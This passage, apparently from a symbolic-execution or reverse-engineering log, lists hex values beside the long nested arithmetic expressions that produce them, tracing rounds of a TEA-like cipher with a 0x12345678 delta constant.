0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))+(0x11111108+(0x0+0x12345678))))^((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))+((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x175de85a+((((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^(((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))+(0x11111108+(0x0+0x12345678))))^((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9))')
('0x24128629a', '(0x175de85a+((((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^(((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))+(0x11111108+(0x0+0x12345678))))^((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))+((((0x7f922c05<<0x4)+0xd30a286e)^(0x7f922c05+((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))))^((0x7f922c05>>0x5)+0xca2410fd))')
('0x12cfddbd3', '0x4128629a+(((((0x7f922c05+((((0x4128629a<<0x4)+0x4ec10fc6)^(0x4128629a+(((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x4128629a>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0x7f922c05+((((0x4128629a<<0x4)+0x4ec10fc6)^(0x4128629a+(((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x4128629a>>0x5)+0xe98cd7d9)))+(((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x7f922c05+((((0x4128629a<<0x4)+0x4ec10fc6)^(0x4128629a+(((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x4128629a>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd))')
('0x1f423cd80', '(0x7f922c05+((((0x4128629a<<0x4)+0x4ec10fc6)^(0x4128629a+(((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x4128629a>>0x5)+0xe98cd7d9)))+((((0x2cfddbd3<<0x4)+0x4ec10fc6)^(0x2cfddbd3+((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cfddbd3>>0x5)+0xe98cd7d9))')
('0x1fe53ddb7', '0xf423cd80+(((((0x2cfddbd3+((((0xf423cd80<<0x4)+0xd30a286e)^(0xf423cd80+((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xf423cd80>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^((0x2cfddbd3+((((0xf423cd80<<0x4)+0xd30a286e)^(0xf423cd80+((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xf423cd80>>0x5)+0xca2410fd)))+(((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x2cfddbd3+((((0xf423cd80<<0x4)+0xd30a286e)^(0xf423cd80+((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xf423cd80>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9))')
('0x211bc9ede', '0xfe53ddb7+((((((0x2cfddbd3+((((0xf423cd80<<0x4)+0xd30a286e)^(0xf423cd80+((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xf423cd80>>0x5)+0xca2410fd)))+((((0xfe53ddb7<<0x4)+0xd30a286e)^(0xfe53ddb7+(((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xfe53ddb7>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x2cfddbd3+((((0xf423cd80<<0x4)+0xd30a286e)^(0xf423cd80+((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xf423cd80>>0x5)+0xca2410fd)))+((((0xfe53ddb7<<0x4)+0xd30a286e)^(0xfe53ddb7+(((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xfe53ddb7>>0x5)+0xca2410fd)))+((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((((0x2cfddbd3+((((0xf423cd80<<0x4)+0xd30a286e)^(0xf423cd80+((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xf423cd80>>0x5)+0xca2410fd)))+((((0xfe53ddb7<<0x4)+0xd30a286e)^(0xfe53ddb7+(((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xfe53ddb7>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9))')
('0x16c187b70', '((0x2cfddbd3+((((0xf423cd80<<0x4)+0xd30a286e)^(0xf423cd80+((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xf423cd80>>0x5)+0xca2410fd)))+((((0xfe53ddb7<<0x4)+0xd30a286e)^(0xfe53ddb7+(((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xfe53ddb7>>0x5)+0xca2410fd)))+((((0x11bc9ede<<0x4)+0xd30a286e)^(0x11bc9ede+((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x11bc9ede>>0x5)+0xca2410fd))')
('0x111ef5390', '0x11bc9ede+((((0x6c187b70<<0x4)+0x4ec10fc6)^(0x6c187b70+(((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x6c187b70>>0x5)+0xe98cd7d9))')
('0x1053aa687', '0x6c187b70+((((0x11ef5390<<0x4)+0xd30a286e)^(0x11ef5390+(((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x11ef5390>>0x5)+0xca2410fd))')
